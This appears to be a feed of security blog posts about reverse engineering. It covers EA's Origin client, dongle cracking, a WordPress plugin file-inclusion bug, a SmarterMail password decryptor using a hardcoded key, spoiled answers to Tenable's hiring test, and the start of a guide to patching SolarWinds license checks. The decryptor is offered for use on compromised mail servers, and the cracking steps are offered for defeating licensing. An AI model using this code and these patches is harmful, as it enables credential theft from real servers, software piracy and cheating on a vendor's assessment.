Quantcast
Channel: reversing – Joe's Security Blog
Viewing all 37 articles
Browse latest View live

Debugging EA’s Steam knock off

$
0
0

The Battlefield 3 beta is over. Now all i have is their stupid knock off of steam until the 28th when the release Bf3 to the masses.

After some careful manipulation (setting the 3rd byte of the PEB to always return FALSE like noted in my last paper) I was finally able to browse the client with Immunity, rather than with a kernel debugger. Much more stable in my opinion. First impressions? Very heavily threaded. Something like 30 threads are created on startup. This gets confusing as hell when you pause execution and want to back track.

The program was made with QT, the C++ library from Nokia. This means it might be portable to other distributions such as Linux, though I wouldn’t hold my breath. Since its made in C++, I’ve been hunting up and down for bugs. I’ve seen some interesting things so far. The instant messenger service can be sniffed since its unencrypted, same with some other protocols(auth).

I’m hoping to find some memory corruption bug just for the sake of doing so. I know its a client, but client side exploits are popular these days. Gone are the low hanging fruit, but my hopes are high.

 

I will keep you all updated of my progress.

– progress update.

 

I left out some stuff. This binary is 30 MB in size. Typical of C++ applications that include the kitchen sink.

 

First off, this does NOT appear to be made in house by EA. All the references to libraries and directory structures left in by the original dev team suggest otherwise.

The company appears to be called ebisu / hudson. Ebisu For those of you who aren’t too bright, its japanese. The Ebisu  isthe Japanese god of fishermen, luck, and hard work,as well as the guardian of the health of small children.

The binary comes with a multitude of 3rd party libraries. So far I have identified an XML parser lib not updated in the last 5 years, OpenSSL, A custom web browser going off the name ‘IGO’, QT libraries, and some product called radare. Radare is a disassembly / reverse engineering frame work. This is suspicious, but probably makes sense why it was so difficult at first for me to debug the app. Check it out http://www.radare.org/y/

I also saw references to the XMPP protocol for use with their messaging system. Gtalk / jabber use this, though for some reason this communication is unencrypted.

 

What about that XML parser I said earlier. I see numerous references to lib2xml. I see multiple schemas supported, but the main one appears to be Relax NG (see http://relaxng.org)

What I have so far gives me a lot of avenues of attack roads. I can attack the XML parser, I can attack the web protocols, I can attach their custom browser with a slew of browser attacks (xss, injection, overflows, etc), and I can also go after all the custom calls I see to the EA server. Lastly I can go after their instant messanger setup made against the XMPP standard. Its like 5 apps in one.

 

Once again, anything else I encounter will be updated here, unless of course EA sues me or sends a cease and desist letter for breaking their EULA. Then again, who reads this blog anyways? Bots, and maybe some lone wolf.

 

 


Reversing Origin P2

$
0
0

The triumphant release of Battlefield 3 marks the second time in my life where I waited til midnight to purchase a game standing outside a store. The first of which being Fallout 3 (after all I did wait 10 years for a sequel). And with the newest game out you would think there would be some sort of update right? ….RIGHT?

Nope. Well sorta, but not much. About the only noticeable difference I see is that they modified the UI slightly, but other than that no real code changes are present in the binary.

 

Now is as good a time as any to reveal some of my findings. For starters we have some call to a telemetry server. It was on port 9922. I noticed this while Iwas monitoring new threads with processmon. After doing a slow as hell text binary search through the code for any references to the IP (159.153.235.32) which was NOT in the strings table (why?) this is what I found:

loc_4020A6:
lea     edx, [ebp+var_26C4]
push    edx             ; int
push    offset aTelemetryserve ; “TelemetryServer”
push    offset aTelemetry ; “Telemetry”
lea     ecx, [ebp+var_249C]
call    sub_6D3230
cmp     eax, 0FFFFFFFFh
jz      short loc_4020D5

mov     esi, [ebp+var_26C0]
cmp     [ebp+var_26C4], esi
jnz     short loc_4020EB
loc_4020D5:             ; “159.153.235.32″
push    offset a159_153_235_32
lea     ecx, [ebp+var_26C4]
call    sub_408CE0
mov     esi, [ebp+var_26C0]

 

A telemetry server!

EA owns the IP range so I assume this is part of their tracking system

http://whois.arin.net/rest/net/NET-159-153-0-0-1/pft

What does it send? XML of course! But what contents? This is what I have been able to extrapolate:

Initial connection is made, it sends the following markup:

<TELEMETRY_XML>

<!– new session: BEGIN –>

<internal persona=”%s” UUID=”%I64x” nucleusId=”%s” locale=”%s”  />

<Metric Module=”%s(internal ID %u)”  Group=”%s(internal ID %u)” String=”%s tm_API=”%i”

timeStamp=”%I64x (%.4i-%.2i-%.2i %.2i:%.2i:%.2i)” />

<!– new session: END –>

Then it sends a bunch of binary data. This is likely the encoded information about your system. I have yet to decode it.

Since this is a C based library its using format string identifiers. You see strings, integers and their widths. The persona field is your sign on name. The nucleus ID is the same thing.

The locale is the region (in my case USA), the metric module is something (???) same with the internal and group ID’s. Not sure what they are for yet. The tm_API is just some number. Lastly we have the 64 bit time stamp. Easy enough to follow and easy enough to filter through with wireshark.

There is other stuff that I see from time to time that connects or listens, but its mostly dumb stuff like news feeds and an amazon service.


The 50.19 address belongs to amazon according to ARIN:

http://whois.arin.net/rest/net/NET-50-16-0-0-1/pft

Connecting to it with a raw socket yields nothing in terms of a banner or header. Its a damn echo server.

You can look up the other ip’s you want, but I already saw most of them – web site connections made by the clients.

There is a lot more stuff to document so I will continue this with part 3 when we go over the browser plugin.

Dongles, how do they work?

$
0
0

Reversing aint easy these days and is getting harder. Every other executable is packed with this or that, PEID is no longer updated, and many software companies are moving towards dongle based security. The idea is simple – store the registration key or encryption key on a mobile piece of hardware.

So what is a dongle? Traditionally a dongle is a hardware device that connects to the PC through one of the ports in the back. The older ones used the parallel printer port.

Finding a computer with a parallel port these days is tough, so as with all technology, adaptations were made. Now, USB is the defacto standard.

These are relatively cheap to produce and are hard to crack. The fact of the matter is, depending on how the dongle protection is incorporated, it can be impossible to crack a program without the device. Not completely impossible however. Like I said, if the protection is implemented wrong, it cracking the program could be as simple as a 3 byte patch of changing

cmp eax,0

jne 040032BE

RET

to

JMP 040032BE

 

There are 2 ways to implement a dongle. The right way and the wrong way. The right way would be to encrypt your programs and store the encryption key on the dongle and decrypt at run time depending on whether the device is connected or not.

The wrong way would be to merely check for the presence of the dongle. Why? Device drivers can be produced to emulate the functionality and visibility of any device including USB and parallel devices. Not only that, the check for a device can be patched, quite easily. There are a few companies out there that implement dongle based protections to software companies as a 3rd party service taking the hassle of implementing a copy based protection system out of the hands of the software company. Trouble is, once you’ve cracked this 3rd party providor’s method, it works on EVERY ONE of their clients.

Take Sentinel from SafeNet for example: http://www.safenet-inc.com/support-downloads/sentinel-drivers/ . Their protection suite is quite popular, however recent versions produced have one fatal flaw – implementation of their dongle based copy protection can be halted based on a single 3 byte patch.

Say for example the software in question is done the right way – encrypted and needs the key to be decrypted at run time. How might this be cracked? Well for starters, we would need to identify the key. The key can be obtained either in memory during live analysis in a debugger or statically by probing the driver or contents of the USB device. Device drivers need to be debugged using a kernel debugger since drivers dont operate in user mode. WinDBG is suitable for this, however softice can be used as well. I myself have never been able to get softice working, but if you can, go for it. Another method would be to use this little program called USBSnoop – http://sourceforge.net/projects/usbsnoop/. This awesome tool allows for a tool that logs the usb data exchange between hardware and device driver. I’ve had excellent luck with this and have found the decryption key in plain text by analyzing the data stream log.

Once the key has been obtained, decryption of the program is possible. What would need to be done from there? One would need to either A) dump the decrypted program which would no longer need the key (depends on how the encryption is implemented) or create an emulator. The emulator would simply be a dummy USB device that contained a copy of the USB dongle – key and all.

Its hard to explain without going into full detail on how to create such an emulator, but guides do exist on how to create drivers. First off you’ll need the driver development kit from microsoft. Next, check out lib-usb from sourceforge: http://sourceforge.net/apps/trac/libusb-win32/wiki . Create a USB device driver that simulates the key or files being present on the newly emulated device. Maybe one day I’ll write a step by step on writing such a program, but for now however, we have the basics and concepts out of the way.

Expect more updates in the future.

 

 

 

 

 

Mimicking task manager

$
0
0

Have you ever wondered how to make your own task manager? That thing that pops up when you press control+shift+escape and shows all the process names, ids and files associated with them? Well now you can!

 

What you need is a C compiler, the dll, and the library. You can download them here: PROCS

The code below creates a window, and a listbox control then proceeds to populate the contents of said listbox with a for loop going through each process.

The meat and potatoes are in the ‘procs’ library which make the calls easy as pie. The definitions in procs.h are as such:


DWORD __stdcall GetNumberOfProcesses();
BOOL __stdcall GetProcessIDList(DWORD dwIDArray, DWORD dwArraySize);
BOOL __stdcall GetProcessPath(DWORD dwPID, char *szBuff, DWORD dwBuffSize);
BOOL __stdcall GetProcessBaseSize(DWORD dwPID, DWORD *dwImageBase, DWORD *dwImageSize);
DWORD __stdcall GetNumberOfModules(DWORD dwPID);
BOOL __stdcall GetModuleHandleList(DWORD dwPID,DWORD *dwHandleArray, DWORD dwArraySize);
BOOL __stdcall GetModulePath(DWORD dwPID, DWORD dwModh, char *szBuff, DWORD dwBuffSize);
BOOL __stdcall GetModuleSize(DWORD dwPID, DWORD dwModh, DWORD *dwImageSize);
DWORD __stdcall GetProcessPathID(char szPath);
HANDLE __stdcall GetModuleHandleEx(DWORD dwPID, char szModule);

Internally the library makes use of the PSAPI functions supported from the win32 lib for creating a working set from the process list. This library saves me a ton of time and was written by a rockstar of the reverse engineering community – Yoda. I found the library within his tool LordPE available here:

http://www.woodmann.com/collaborative/tools/index.php/LordPE

Here’s what it looks like compiled:

Here’s the code:


#include <windows.h>
#include
<psapi.h>
#include “procs.h”
#include <stdio.h>
DWORD ProcList(void);
LRESULT CALLBACK WindowProcedure (HWND, UINT, WPARAM, LPARAM);
char szClassName[ ] = “Oh god not the bees!”;
int WINAPI WinMain (HINSTANCE hThisInstance,
HINSTANCE hPrevInstance,
LPSTR lpszArgument,
int nCmdShow)
{
HWND hwnd;
MSG messages;
WNDCLASSEX wincl;
wincl.hInstance = hThisInstance;
wincl.lpszClassName = szClassName;
wincl.lpfnWndProc = WindowProcedure;
wincl.style = CS_DBLCLKS;
wincl.cbSize = sizeof (WNDCLASSEX);
wincl.hIcon = LoadIcon (NULL, IDI_APPLICATION);
wincl.hIconSm = LoadIcon (NULL, IDI_APPLICATION);
wincl.hCursor = LoadCursor (NULL, IDC_ARROW);
wincl.lpszMenuName = NULL;
wincl.cbClsExtra = 0;
wincl.cbWndExtra = 0;
wincl.hbrBackground = (HBRUSH) COLOR_BACKGROUND;
if (!RegisterClassEx (&#038;wincl))
return 0;
hwnd = CreateWindowEx (
0,
szClassName,
“Process Listing”,
WS_OVERLAPPEDWINDOW,
CW_USEDEFAULT,
CW_USEDEFAULT,
800,
600,
HWND_DESKTOP,
NULL,
hThisInstance,
NULL
);
HWND hListBox = CreateWindowEx(WS_EX_CLIENTEDGE, “LISTBOX”, NULL, WS_CHILD | WS_VISIBLE | WS_VSCROLL | WS_HSCROLL, 35, 15, 700, 500, hwnd, 666, hThisInstance, NULL);
DWORD psz,pid;
HANDLE process;
char process_name[1024];
char pidmsg1[512];
char pidmsg2[512];
DWORD list[1024];
DWORD numoprocs = GetNumberOfProcesses();
if(!GetProcessIDList(list,psz))
{
MessageBox(NULL,”Damnit!”,”GetProcessIDList failed for some reason.”,MB_OK);
ExitProcess(0);
}
int cnt;
for(cnt = 0;cnt<numoprocs;cnt++)
{
if(list[cnt] == 4)
{
sprintf(pidmsg1,”Process ID: %d\t Process Name: This is a null process, dont bother =\\\r\n”,list[cnt],process_name);
SendDlgItemMessage(hwnd, 666, LB_ADDSTRING, 0, (LPARAM)pidmsg1);
}
process = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, list[cnt]);
if(process != NULL &#038;&#038; list[cnt] != 4)
{
//GetProcessImageFileName(process, process_name, 1024);
GetModuleFileNameEx(process,NULL, process_name, 1024);
sprintf(pidmsg2,”Process ID: %d \tProcess Name:%s”,list[cnt],process_name);
SendDlgItemMessage(hwnd, 666, LB_ADDSTRING, 0, (LPARAM)pidmsg2);
CloseHandle(process);
}
}
ShowWindow (hwnd, nCmdShow);
while (GetMessage (&#038;messages, NULL, 0, 0))
{
TranslateMessage(&#038;messages);
DispatchMessage(&#038;messages);
}
return messages.wParam;
}
LRESULT CALLBACK WindowProcedure (HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam)
{
switch (message)
{
case WM_DESTROY:
PostQuitMessage (0);
break;
case WM_CREATE:
{
break;
}
default:
return DefWindowProc (hwnd, message, wParam, lParam);
}
 return 0;
}

I'm utilizing this library for my debugger centrally for showing off a list of running processes and modules loaded by each. its minimalist simplicity is what I like most about it.

An alternative to this approach would be to call FindWindowEx() to find all desktop windows and then call GetWindowThreadProcessId to grab the process ID from the returned handle HWND. This approach however only enumerates processes that have a window to show, thus is ineffective for my needs, but feel free to mess around with it. Have some sample codes:


void KillShit(void)
{
HWND mywind;
DWORD exitcode = -1;
HANDLE myproc;
DWORD procid;
mywind = FindWindow(NULL, "Title Of window such as \'explorer\'");
GetWindowThreadProcessId(mywind,procid);
myproc = OpenProcess(PROCESS_ALL_ACCESS,true,procid);
if(!TerminateProcess( myproc, exitcode))
{
printf("nope!");
}
printf("killing process %d", procid);
}

Happy cracking

 

 

Exploiting WordPress Plugins

$
0
0

GAHHH!

 

The epitome of shitty design, aka baby’s first program also known as the wordpress plugin. There area SHITLOAD of these floating around the internet. Most of which promise the same shit – increased ad revenue, dumbing down an already easy to do process (such as auto-tweeting your lame posts), posting a bunch of crappy SEO keywords to reach the top of google’s page ranks and of course, making your blog look nice.The downside to these plugins is that there is no central authority behind whats good and whats not.

 

Obvious LFI / RFI
<?php
/*****************************

*******************************************************
*
* Version:                Beta 0.5.0 (3-October-2009)
* Homepage:                http://www.fusionhq.com
* Author:                Pitipong Guntawong (pppstudio.gm@gmail.com)
* Copyright 2009:        FusionHQ.com (http://www.fusionhq.com)
* Licensed Under:        LGPL
*
* This program (library) is free software: you can redistribute it
and/or modify
* it under the terms of the GNU Lesser General Public License as
published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
* GNU Lesser General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program.  If not, see <http://www.gnu.org/licenses/>.
*
************************************************************************************/$path= “upload/”.$HTTP_POST_FILES['ufile']['name'];
$msg = “”;$uploadqueue = NULL;
require_once(‘producttable.php’);
require_once ‘include_process_’.$_GET['process'].’.php’;if($_POST['act']==’upload’  &&  $ufile !=none)
{
if(copy($HTTP_POST_FILES['ufile']['tmp_name'], $path))
{
//echo “Successful<BR/>”;

//$HTTP_POST_FILES['ufile']['name'] = file name
//$HTTP_POST_FILES['ufile']['size'] = file size
//$HTTP_POST_FILES['ufile']['type'] = type of file
$detail .= “<br>File Name
:”.$HTTP_POST_FILES['ufile']['name'].”<BR/>”;

In this code tidbit, we see an obvious LFI in the require_once() function. No stripping, no checking, no nothing. Exploitation is as simple as appending ‘?process=/path/to/include’ to the url.

In my many findings, the number one vulnerability in word press plugins is the lack of checking for administrative rights. Direct file access is not checked either (unlike the typical convention of joomla modules) which check for that sort of thing.

Most wordpress plugins can be downloaded from the wordpress.org main site, however the buggiest ones are the ones stored elsewhere by private developers. The ones who aim to make a quick buck on their ‘hit generation spamming’.  Just google ‘seo + wordpress’.

http://sixrevisions.com/wordpress/seo-plugins/

http://mashable.com/2009/03/20/wordpress-seo-plugins/

etc.

It’s late so I’ll hit a few more later.

 

Cracking SmarterMail hashes

$
0
0

This week I encountered a password hash I hadnt seen in a while. Base64 with a twist. SmarterTools.com has a mail server called SmarterMail written in all .net. It stores its passwords in xml files in what looks to be base64, but not quite.

Unlike most companies, I assume SmarterTools doesn’t know how to encrypt or obfuscate its binaries, instead, they store all of their code in a managed assembly DLL and call it with an exe. That said, reversing it was rather simple since I only needed a decent decompiler and grep to find its hashing algorithm. And here it is:


using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.IO;
using System.Security.Cryptography;
namespace TicketCounter
{
public class CryptographyHelper
{
protected internal byte[] salt = new byte[4]
{
(byte) 155,
(byte) 26,
(byte) 93,
(byte) 86
};
protected SymmetricAlgorithm Coder;
protected byte[] Key;
protected byte[] IV;
protected int Method;
protected CryptographyHelper()
{
}
public CryptographyHelper(int methodIn)
{
this.Method = methodIn;
if (this.Method == 0)
this.Coder = (SymmetricAlgorithm) DES.Create();
else
this.Coder = (SymmetricAlgorithm) RC2.Create();
}
public void SetKey(string key)
{
int cb = this.Method != 0 ? 5 : 8;
PasswordDeriveBytes passwordDeriveBytes = new PasswordDeriveBytes(key, this.salt);
this.Key = passwordDeriveBytes.GetBytes(cb);
this.IV = passwordDeriveBytes.GetBytes(cb);
}
public void SetKey(ref Random rnd)
{
int length = this.Method != 0 ? 5 : 8;
this.Key = new byte[length];
this.IV = new byte[length];
rnd.NextBytes(this.Key);
rnd.NextBytes(this.IV);
}
public void SetKey(byte[] keyIn, byte[] ivIn)
{
int length = this.Method != 0 ? 5 : 8;
this.Key = new byte[length];
this.IV = new byte[length];
Array.Copy((Array) keyIn, 0, (Array) this.Key, 0, length);
Array.Copy((Array) ivIn, 0, (Array) this.IV, 0, length);
}
public string EncodeToBase64(string val)
{
if (val.Length == 0)
return val;
else
return Convert.ToBase64String(this.Encode(Encoding.UTF8.GetBytes(val)));
}
public string DecodeFromBase64(string val)
{
if (val.Length == 0)
return val;
else
return Encoding.UTF8.GetString(this.Decode(Convert.FromBase64String(val)));
}
public static string EncodeToBase64(int method, int key, string val)
{
if (val.Length == 0)
return val;
CryptographyHelper cryptographyHelper = new CryptographyHelper(method);
Random rnd = new Random(key);
cryptographyHelper.SetKey(ref rnd);
return cryptographyHelper.EncodeToBase64(val);
}
public static string DecodeFromBase64(int method, int key, string val)
{
if (val.Length == 0)
return val;
CryptographyHelper cryptographyHelper = new CryptographyHelper(method);
Random rnd = new Random(key);
cryptographyHelper.SetKey(ref rnd);
return cryptographyHelper.DecodeFromBase64(val);
}
public static string EncodeToBase64(int method, string key, string val)
{
if (val.Length == 0)
return val;
CryptographyHelper cryptographyHelper = new CryptographyHelper(method);
cryptographyHelper.SetKey(key);
return cryptographyHelper.EncodeToBase64(val);
}
public static string DecodeFromBase64(int method, string key, string val)
{
if (val.Length == 0)
return val;
CryptographyHelper cryptographyHelper = new CryptographyHelper(method);
cryptographyHelper.SetKey(key);
return cryptographyHelper.DecodeFromBase64(val);
}
public byte[] Encode(byte[] buf)
{
return this.PassThrough(buf, this.Coder.CreateEncryptor(this.Key, this.IV));
}
public byte[] Decode(byte[] buf)
{
return this.PassThrough(buf, this.Coder.CreateDecryptor(this.Key, this.IV));
}
protected byte[] PassThrough(byte[] buf, ICryptoTransform transformation)
{
MemoryStream memoryStream = new MemoryStream();
CryptoStream cryptoStream = new CryptoStream((Stream) memoryStream, transformation, CryptoStreamMode.Write);
cryptoStream.Write(buf, 0, buf.Length);
cryptoStream.FlushFinalBlock();
memoryStream.Seek(0L, SeekOrigin.Begin);
byte[] buffer = new byte[memoryStream.Length];
memoryStream.Read(buffer, 0, (int) memoryStream.Length);
cryptoStream.Close();
memoryStream.Close();
return buffer;
}
}
}

See the key?  No you don’t because the key was elsewhere in the app – specifically in the config area that deals with description:


//namespace SmarterMail.Config
public class SystemAdminLogin
{
public static string PasswordKey = 03a8ur98qhfa9h; //  assume quotes
public string ID { get; set; }
public string Username { get; set; }
public List&lt;IpAccess&gt; IpAccessRestrictions { get; private set; }
public bool IsPrimaryAdmin { get; set; }
public bool EnableIpAccessRestriction { get; set; }
public DateTime DateCreated { get; set; }
public string Description { get; set; }
public string Password
{
get
{
return CryptographyHelper.
DecodeFromBase64(0,SystemAdminLogin.PasswordKey, this.get_EncryptedPassword());
}
set
{
this.set_EncryptedPassword(CryptographyHelper.EncodeToBase64(0,SystemAdminLogin.PasswordKey, value));
}
}static SystemAdminLogin()
{
}public SystemAdminLogin()
{
this.IpAccessRestrictions = new List&lt;IpAccess&gt;();
this.DateCreated = DateTime.Now;
this.ID = string.Empty;
}public void ToXml(XmlWriter writer)
{
writer.WriteStartElement(&#8220;SystemAdmin&#8221;);
writer.WriteElementString(&#8220;ID&#8221;, this.ID);
writer.WriteElementString(&#8220;Username&#8221;, this.Username);
// ISSUE: reference to a compiler-generated method
writer.WriteElementString(&#8220;Password&#8221;, this.get_EncryptedPassword());
writer.WriteElementString(&#8220;EnableIpAccessRestriction&#8221;,
this.EnableIpAccessRestriction.ToString());
writer.WriteElementString(&#8220;DateCreated&#8221;,
this.DateCreated.ToString((IFormatProvider)
CultureInfo.InvariantCulture));
writer.WriteElementString(&#8220;Description&#8221;, this.Description);
if (this.IpAccessRestrictions.Count &gt; 0)
{
writer.WriteStartElement(&#8220;IpAccess&#8221;);
foreach (IpAccess ipAccess in this.IpAccessRestrictions)
{
writer.WriteStartElement(&#8220;Allowed&#8221;);
writer.WriteElementString(&#8220;Description&#8221;, ipAccess.Description);
writer.WriteElementString(&#8220;StartIp&#8221;, ipAccess.StartIP);
if (System_ExtensionMethods7BCA73B06BAB478aA3AC6AC60979BA25.HasValue(ipAccess.EndIP))
writer.WriteElementString(&#8220;EndIp&#8221;, ipAccess.EndIP);
writer.WriteElementString(&#8220;Type&#8221;, ((int) ipAccess.Type).ToString());
writer.WriteEndElement();
}
writer.WriteEndElement();
}
writer.WriteEndElement();
}
public void FromXml(XmlReader reader)
{
string str = string.Empty;
label_27:
while (reader.Read())
{
int num = (int) reader.MoveToContent();
if (reader.NodeType == XmlNodeType.EndElement &amp;&amp;
reader.Name.ToLowerInvariant() == &#8220;systemadmin&#8221;)
break;
if (reader.NodeType == XmlNodeType.Element &amp;&amp;
reader.Name.ToLowerInvariant() == &#8220;ipaccess&#8221;)
{
IpAccess ipAccess = new IpAccess();
bool flag = false;
while (true)
{
do
{
if (reader.Read() &amp;&amp; (reader.NodeType !=
XmlNodeType.EndElement || !(reader.Name.ToLowerInvariant() ==
&#8220;ipaccess&#8221;)))
{
if (reader.NodeType == XmlNodeType.EndElement &amp;&amp;
reader.Name.ToLowerInvariant() == &#8220;allowed&#8221; &amp;&amp; flag)
{
this.IpAccessRestrictions.Add(ipAccess);
flag = false;
ipAccess = new IpAccess();
}
if (reader.NodeType == XmlNodeType.Element)
goto label_8;
}
else
goto label_27;
}
while (reader.NodeType != XmlNodeType.Text);
goto label_10;
label_8:
str = reader.Name.ToLowerInvariant();
continue;
label_10:
switch (str)
{
case &#8220;description&#8221;:
flag = true;
ipAccess.Description = reader.Value;
continue;
case &#8220;startip&#8221;:
flag = true;
ipAccess.StartIP = reader.Value;
continue;
case &#8220;endip&#8221;:
flag = true;
ipAccess.EndIP = reader.Value;
continue;
case &#8220;type&#8221;:
flag = true;
ipAccess.Type = (IPType) int.Parse(reader.Value);
continue;
default:
continue;
}
}
}
else if (reader.NodeType == XmlNodeType.Element)
str = reader.Name.ToLowerInvariant();
else if (reader.NodeType == XmlNodeType.Text)
{
switch (str)
{
case &#8220;id&#8221;:
this.ID = reader.Value;
continue;
case &#8220;enableipaccessrestriction&#8221;:
this.EnableIpAccessRestriction = bool.Parse(reader.Value);
continue;
case &#8220;username&#8221;:
this.Username = reader.Value;
continue;
case &#8220;password&#8221;:
// ISSUE: reference to a compiler-generated method
this.set_EncryptedPassword(reader.Value);
continue;
case &#8220;datecreated&#8221;:
this.DateCreated = DateTime.Parse(reader.Value,
(IFormatProvider) CultureInfo.InvariantCulture);
continue;
case &#8220;description&#8221;:
this.Description = reader.Value;
continue;
default:
continue;
}
}
}
}
}

That’s what we’re going to use to decrypt the binary.

I borrowed their code to make my own little decrypter app kind of like how a cracker makes a keygen – same principle really, except in this case, they include a function for decrypting so I don’t need much:


using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Text;
using System.Windows.Forms;
namespace TicketCounter
{
public partial class Form1 : Form
{
public Form1()
{
InitializeComponent();
}
public static string PasswordKey = &#8220;03a8ur98qhfa9h&#8221;;
private void btnDecode_Click(object sender, EventArgs e)
{
string enc = this.tbEnc.Text;
this.tbDec.Text = DecodeFromBase64(0, PasswordKey, enc);
}
public static string DecodeFromBase64(int method, string key, string val)
{
if (val.Length == 0)
return val;
CryptographyHelper cryptographyHelper = new CryptographyHelper(method);
cryptographyHelper.SetKey(key);
return cryptographyHelper.DecodeFromBase64(val);
}
}
}

Create the object and use it. Keep it simple. The project includes the class I ripped in the project.

And there you have it. Next time you take control of a Smarter Mail server, you can now decrypt the passwords with ease.

For those of you who are lazy, you can download the project here.

Happy hacking :)

Tenable Nessus Appsec Interview Spoilers

$
0
0

Hello everyone,

Today we will be going over the answers to the test offered by Tenable / Nessus when you interview with them to be an appsec guy. I was told I was the first to ace all 3 tests, so I might as well be the first to spoil all 3 tests.

What they want is a hash which is provided at the end of the test. It’s 01b689a06ed6be8c01434eb92101d092

Of course you can’t just hand em the hash, you should tell them how you solved the challenges. Here is how:

Question 1)
Solved by a nullbyte after index.php ie: http://restest.tenable.com/?f=index.php%00
look at blank source for this:
/*
* Great, you made it! That's already one challenge you knocked out ;)
*
* Please go to http://restest.tenable.com/497c189133bcdd0f24bd11710e630420.html for the next
* one!
*
*/

$file = $_REQUEST["f"];
if ( !isset($file) )
{
header("Location: http://restest.tenable.com/?f=main");
exit(0);
}

$file = $file . ".txt";
if ( strstr($file, "/") )
{
$buf = "Invalid character in file name";
}
else if ( file_exists($file) )
{
$buf = file_get_contents($file);
}
else $buf = "File not found";

echo $buf;
?>

Question 2)
The second one is an archive file, but I wasn’t sure which. Inspecting the header and comparing it (see attachments) showed the header off by about 20 bytes, so a correction with a hex editor made the file right.

Not quite an ELF file, but you can see the comparison here:

The server is essentially looking for a string by doing a string comparison (typical of the repe cmpsb / setnbe instrctions). It loops for the characters ‘bind’ referenced inside read-only data at 0×08048877

.text:08048707 mov dword ptr [ebp-454h], offset 08048877
.text:08048711 mov dword ptr [ebp-458h], 4
.text:0804871B cld
.text:0804871C mov esi, [ebp-450h]
.text:08048722 mov edi, [ebp-454h]
.text:08048728 mov ecx, [ebp-458h]
.text:0804872E repe cmpsb
.text:08048730 setnbe dl
.text:08048733 setb al
.text:08048736 mov ecx, edx
.text:08048738 sub cl, al
.text:0804873A mov eax, ecx
.text:0804873C movsx eax, al
.text:0804873F test eax, eax
.text:08048741 jnz short loc_8048766

By entering “bind” after telnet-ing to the the service / port, I got the answer for the next part as shown in the next attachment.

Question 3)

Right after the recv call (function that accepts our data) there is a byte comparison checking the length of our input. if its greater than 7, then continue, otherwise the program quits:

.text:08048718 call _recv
.text:0804871D mov [ebp-8], eax
.text:08048720 mov eax, [ebp-8]
.text:08048723 cmp eax, 7
.text:08048726 ja short loc_8048734
.text:08048728 mov dword ptr [esp], 0
.text:0804872F call _exit

So after passing that I noticed the value sent from the recv() call was being stored into the EAX register, and then doing a numerical / binary comparison against the value stored inside, specifically checking if the value of EAX is equal to 1024 in hex (4132 in decimal):
.text:08048734 mov eax, [ebp-40h]
.text:08048737 mov [esp], eax
.text:0804873A call _ntohl
.text:0804873F mov [ebp-40h], eax
.text:08048742 mov eax, [ebp-3Ch]
.text:08048745 mov [esp], eax
.text:08048748 call _ntohl
.text:0804874D mov [ebp-3Ch], eax
.text:08048750 mov eax, [ebp-3Ch]
.text:08048753 cmp eax, 1024h
.text:08048758 jnz short loc_804877F

So all I had to do was stick the value 1024 in hex into the recv call. The problem is it wants something 8 bytes in length, but 1024 is only 2 bytes. I solved this by passing the data with NULL values 0×00 in hex.
I used php to do this:
$host = "restest.tenable.com";
$port = 31338;
$timeout = 20;
$data = "\x00\x00\x00\x00\x00\x00\x10\x24";
$fp = fsockopen($host,$port,$errno,$errstr,$timeout);
if (!$fp)
{
die("$errstr ($errno)\n");

} else
{
fwrite($fp,$data);

while(!feof($fp))
{
echo fgets($fp, 512);
}
fclose($fp);
}
?>

And here it is working:

Just copy this verbatim and you too can have a crack at Tenable / Nessus, well at least until they find this and change the answers. Be warned though, they don’t want smart people, they want clay to mold.

Good luck and happy hacking =)

And no, I didn’t forget the funny image.

.net reversing and MSIL modification

$
0
0

Hello everybody!

Its been a wonderful new year. Full of new experiences and all that other stuff. Lately I’ve been running into a lot of .net stuff. Managed assemblies (compiled MSIL dlls) interacting with normal binaries as well as .net binaries. The beauty of it is most of the time, I can decompile them and look at the straight source code. It seems like less and less people are even bothering to obfuscate their code.

Today I’m going to cover MSIL decompilation, recompilation, editing, reversing, and the like. We’ll be going after Solar Winds’ license activation suite which is a collection of both .net managed assemblies and .net binaries. According to SolarWinds’ stock index, they’re worth over 44 million USD. You’d think with that kinda money they could afford to protect their software? Or not.

There are 3 ways to edit .net binaries and managed assemblies. The easy way, the hard way and the harder way.

The easy way – With Red Gate’s reflector and the reflexil plugin.

The hard way – Getting DILE to work – an open source effort at .net IL editing. The damn thing don’t work.

The hardest way – With ildasm and ilasm – microsoft’s IL disassembler and assembler programs.

I’ll go over each.

The first tool, Red Gate’s Reflector is a payed tool, but totally worth it. A hundred bucks a license, its one of the few pieces of software I’m willing to pay for merely for convenience.
reflector

The 2 best plugins are Reflexil (http://reflexil.net/), used for editing the IL code and Deblector (http://deblector.codeplex.com/) which is an excellent .net debugger.

Tool number 2 is DILE (http://sourceforge.net/projects/dile/) which stands for Dotnet.I.L.Editor, clever ehh?
I’m all for open source, however not when nothing works. Maybe its because I’m using the 64 bit version? Dile also supports a debugger, though once again, I never got it working.
dile

Lastly the hardest method of the 3, is more than 1 tool. ilasm for assembling, ildisasm disassembling, and MDbg for debugging of .net assemblies. http://msdn.microsoft.com/en-us/library/ms229861.aspx ilasm and mdbg are both CLI tools, but ildisasm isn’t. All 3 come with visual studio. I say its the hardest because of what’s involved.
ildisasm1

===On with the show===
Today we’re attacking Dameware’s Remote support, a suite of tools that allows remote administration of windows systems. I was checking this tool out the other day for its remote task manager capabilities and ease of use.msil
The binary is nothing special. In fact, the app isnt even made in .net at all. its a C++ application. The licensing application on the other hand is. solarwinds

Loading up the licensing application with our .net decompiler, we see the application is just a stand alone app that feeds from external managed assemblies. license form app

The managed assembly in question is the SolarWinds.Licensing.Framework.dll. Loading that up, we see many methods, classes and function calls.
I’ve saved you from some digging and isolated the internal class ‘LicenseValidator’ and its method ‘IsLicenseValid’.
digging

As you can see, the function is what we’re looking for. We see what types the method takes:
byte[] licenseData, byte[] signature, byte[] nodeLockInfo, byte[] serialNumber, LicenseType type, byte licenseInterfaceRevision
We see the return value – true or false.

We know what we need to patch to make every license we pass valid.

